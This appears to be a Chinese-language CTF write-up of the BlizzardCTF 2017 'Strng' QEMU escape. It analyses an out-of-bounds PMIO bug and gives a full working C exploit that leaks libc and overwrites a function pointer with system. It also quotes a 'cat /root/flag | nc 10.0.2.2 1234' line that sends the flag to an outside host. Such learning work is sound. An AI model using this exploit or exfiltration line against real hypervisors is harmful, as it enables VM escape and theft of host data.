例题(续)

PMIO相关函数

strng_pmio_read

image-20200213002527842

源码:

1
2
#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4

image-20200213002601757

addr=0直接返回opaque->addr,否则opaque->addr右移两位作为索引返回regs对应值。接下来就是看opaque是怎么操作的。

strng_pmio_write

image-20200213003009308

源码:

image-20200213003044417

当size=4的时候,根据addr不同提供不同的服务:

1
2
#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
  • addr=0,将val赋值给opaque->addr
  • addr不为0,右移两位为saddr
    • saddr=0,调用srand函数,不存储
    • saddr=1,调用rand函数,结果存在regs[1]
    • saddr=3,调用rand_r函数,参数为regs[2],结果存在regs[3]
    • 其他值,regs[saddr]=val

对比

在MMIO函数中,addr是传入的,虽然可以直接控制但是有内部检查。

在PMIO函数中,addr来自于opaque->addr,而addr=0时,可以直接将val赋值给opaque->addr,之后使用造成越界读写。

编程访问PMIO

便捷的方式通过INOUT指令来访问。

可以使用INOUT去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为``<sys/io.h>,函数的具体用法可以使用man`手册查看。

还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff之间的端口,使用ioperm(from, num, turn_on)即可;对于0x3ff以上的端口,则该调用执行iopl(3)函数去允许访问所有的端口(可使用man iopermman iopl去查看函数)。

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
uint32_t pmio_base=0xc050;

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}

uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);

}

利用思路

通过PMIO可以达到越界读写的效果,怎么利用呢?回看一下结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
00000000 STRNGState      struc ; (sizeof=0xC10, align=0x10, copyof_3815)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009F0 pmio MemoryRegion_0 ?
00000AF0 addr dd ?
00000AF4 regs dd 64 dup(?)
00000BF4 db ? ; undefined
00000BF5 db ? ; undefined
00000BF6 db ? ; undefined
00000BF7 db ? ; undefined
00000BF8 srand dq ? ; offset
00000C00 rand dq ? ; offset
00000C08 rand_r dq ? ; offset
00000C10 STRNGState ends

regs后面是函数指针,泄露出来可以计算出system的地址。泄露出system地址,可以将其覆盖到rand_r,将regs[2]的位置存储上cat /root/flag,之后就可以达到system("cat /root/flag")的效果了。

在UAFIO的思路中,执行的是cat /root/flag | nc 10.0.2.2 1234。这样传到自己的vps也挺好的。

靠谱的exp:

改一下libc的偏移,就可以攻击成功了。

image-20200213220103404

可以看到宿主机的flag被显示了出来。失败了就多执行几次。

调试

内核题也是起qemu,用一个solution.py来编译传exp,很好用,但是qemu逃逸的题目起qemu的确是很慢…所以编译就本地编译好,然后用scp传到qemu中就好。

启动

sudo ./start.sh

调试

下断点

首先变成root用户,由于有符号,gdb qemu,可以通过b来下断点:

1
2
3
4
b *strng_pmio_write
b *strng_pmio_read
b *strng_mmio_write
b *strng_pmio_read

image-20200215120037738

函数名字可以tab自动补全。

或者写一个getchar()也可以。

注意⚠️!不下断点不能正常调试。

gdb attach

ps -ef | gerp qemu找到qemu进程,attach [pid]进去。此时gdb可以正常工作,出现提示符。

c继续运行,在qemu中sudo ./exp执行exp。

关键是可以一直用!这次exp不正常,就重新转一个,断点不会出问题,qemu也可以继续用。

image-20200215121521405

编写mmio_read mmio_write

显示一些套话(include,全局变量)等。然后opem+mmap开空间,测试一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

/*
* ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource0
* 0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 // mmio
* 0x000000000000c050 0x000000000000c057 0x0000000000040101 // pmio
*
*/

unsigned char* mmio_mem;

uint32_t pmio_base = 0xc050;

char* device_name = "/sys/devices/pci0000:00/0000:00:03.0/resource0";

void die(const char* msg) {
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t *)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr) {
return *((uint32_t *)(mmio_mem + addr));
}

//void pmio_write

//uint32_t pmio_read

int main() {

// open and mmap memory for device
int mmio_fd = open(device_name, O_RDWR | O_SYNC);
printf("[*] mmio_fd = %d\n", mmio_fd);
if(mmio_fd == -1){
die("open device error\n");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
printf("[*] mmio_mem: %p\n", mmio_mem);
if(mmio_mem == MAP_FAILED){
die("map memory failed\n");
}

/*
* >>> map(hex, unpack_many("cat /root/flag "))
* ['0x20746163', '0x6f6f722f', '0x6c662f74', '0x20206761']
*/

mmio_write(0, 1); // regs[0] = 0
mmio_write(4, 2); // regs[1] = rand()
mmio_write(8, 3); // regs[2] = 3
mmio_write(12, 4);// regs[3] = rand_r(regs[2])
printf("read result: %x %x %x %x\n", mmio_read(0), mmio_read(4), mmio_read(8), mmio_read(12));

}

效果:

1
2
3
4
5
6
ubuntu@ubuntu:~$ sudo ./exp
sudo: unable to resolve host ubuntu
[*] mmio_fd = 3
[*] mmio_mem: 0xb7715000
sh: 1: : not found
read result: 0 6b8b4567 3 4

编写pmio_read pimo_write

1
2
3
4
5
6
7
void pmio_write(uint32_t addr, uint32_t value) {
outl(value, addr);
}

uint32_t pmio_read(uint32_t addr) {
return (uint32_t)inl(addr);
}

编写任意地址读写原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
* arbitrary read and write
* */

uint32_t arb_pmio_read(uint32_t offset) {
pmio_write(pmio_base+0, offset); // o.addr = offset
return pmio_read(pmio_base+4); // return regs[o.addr>>2]
// => regs[offset>>2]
}

void arb_pmio_write(uint32_t offset, uint32_t value) {
pmio_write(pmio_base+0, offset); // o.addr = offset
pmio_write(pmio_base+4, value); // regs[o.addr>>2] = val
// => regs[offset>>2] = val
}

泄露地址并劫持rand_r函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
   uint64_t srand_addr = arb_pmio_read(66<<2);
srand_addr <<= 32;
srand_addr += arb_pmio_read(65<<2);
printf("[*] srand: 0x%llx\n", srand_addr);

uint64_t libc_base = srand_addr - 0x03a8d0;
uint64_t system_addr = libc_base + 0x045390;
printf("[*] libc: 0x%llx\n", libc_base);
printf("[*] system: 0x%llx\n", system_addr);

arb_pmio_write(69<<2, system_addr&0xffffffff);
// call system
mmio_write(2<<3, 0);

成功逃逸!

image-20200215150431168

自己环境的flag在/1。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

/*
* ubuntu@ubuntu:~$ cat /sys/devices/pci0000\:00/0000\:00\:03.0/resource0
* 0x00000000febf1000 0x00000000febf10ff 0x0000000000040200 // mmio
* 0x000000000000c050 0x000000000000c057 0x0000000000040101 // pmio
*
*/

unsigned char* mmio_mem;

uint32_t pmio_base = 0xc050;

char* device_name = "/sys/devices/pci0000:00/0000:00:03.0/resource0";

void die(const char* msg) {
perror(msg);
exit(-1);
}

/*
* read and write function
* */

void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t *)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr) {
return *((uint32_t *)(mmio_mem + addr));
}

void pmio_write(uint32_t addr, uint32_t value) {
outl(value, addr);
}

uint32_t pmio_read(uint32_t addr) {
return (uint32_t)inl(addr);
}

/*
* arbitrary read and write
* */

uint32_t arb_pmio_read(uint32_t offset) {
pmio_write(pmio_base+0, offset); // o.addr = offset
return pmio_read(pmio_base+4); // return regs[o.addr>>2]
// => regs[offset>>2]
}

void arb_pmio_write(uint32_t offset, uint32_t value) {
pmio_write(pmio_base+0, offset); // o.addr = offset
pmio_write(pmio_base+4, value); // regs[o.addr>>2] = val
// => regs[offset>>2] = val
}


int main() {

// change I/O privilage level
if(iopl(3) != 0) {
die("I/O privilage error");
}


// open and mmap memory for device
int mmio_fd = open(device_name, O_RDWR | O_SYNC);
printf("[*] mmio_fd = %d\n", mmio_fd);
if(mmio_fd == -1){
die("open device error\n");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
printf("[*] mmio_mem: %p\n", mmio_mem);
if(mmio_mem == MAP_FAILED){
die("map memory failed\n");
}

/*
* >>> map(hex, unpack_many("cat /root/flag "))
* ['0x20746163', '0x6f6f722f', '0x6c662f74', '0x20206761']
*/

//mmio_write(0, 1); // regs[0] = 0
//mmio_write(4, 2); // regs[1] = rand()
//mmio_write(8, 3); // regs[2] = 3
//mmio_write(12, 4);// regs[3] = rand_r(regs[2])
//printf("read result: %x %x %x %x\n", mmio_read(0), mmio_read(4), mmio_read(8), mmio_read(12));


//pmio_write(pmio_base+0, 1); // o.addr = 1;
//printf("pmio_read(0): %d\n", pmio_read(0));


mmio_write( 8, 0x20746163); // regs[2]: 'cat /root/flag'
mmio_write(12, 0x0000312f); // cat /1\x00...
mmio_write(16, 0x6c662f74);
mmio_write(20, 0x00006761);

// srand
//printf("%p\n", arb_pmio_read(64<<2));
//printf("%p\n", arb_pmio_read(65<<2)); // 0x7b2898d0
//printf("%p\n", arb_pmio_read(66<<2)); // 0x7fbd
//printf("%p\n", arb_pmio_read(67<<2));
//printf("%p\n", arb_pmio_read(68<<2));

uint64_t srand_addr = arb_pmio_read(66<<2);
srand_addr <<= 32;
srand_addr += arb_pmio_read(65<<2);
printf("[*] srand: 0x%llx\n", srand_addr);

uint64_t libc_base = srand_addr - 0x03a8d0;
uint64_t system_addr = libc_base + 0x045390;
printf("[*] libc: 0x%llx\n", libc_base);
printf("[*] system: 0x%llx\n", system_addr);

// overwrite rand_r with system@libc
// srand : 66 65
// rand : 68 67
// rand_r: 70 69
//printf("[-] rand_r: 0x%x\n", arb_pmio_read(69<<2));
arb_pmio_write(69<<2, system_addr&0xffffffff);
//printf("[+] rand_r: 0x%x\n", arb_pmio_read(69<<2));

// call system
//printf("[*] call system('cat /root/flag')\n");
mmio_write(2<<3, 0);

getchar();

}

我没有去掉注释,这样容易阅读一些。

步骤总结

  1. 编写启动脚本方便调试
  2. 启动脚本,通过lspci命令拿到设备信息
  3. 通过脚本找到设备名,在IDA中寻找对应函数,找到漏洞
  4. 编写c程序调用函数触发漏洞完成利用

后续工作

跟着UAFIO的博客继续学习其他几个qemu的题目:

题目 状态
DefconQuals 2018 - EC3 TBC
BlizzardCTF 2017 - Strng 完成✅
Hitb 2017 - Babyqemu TBC
RealworldCTF 2018 - SCSI TBC
seccon 2018 - q-escape TBC
WCTF2019 - VirtualHole TBC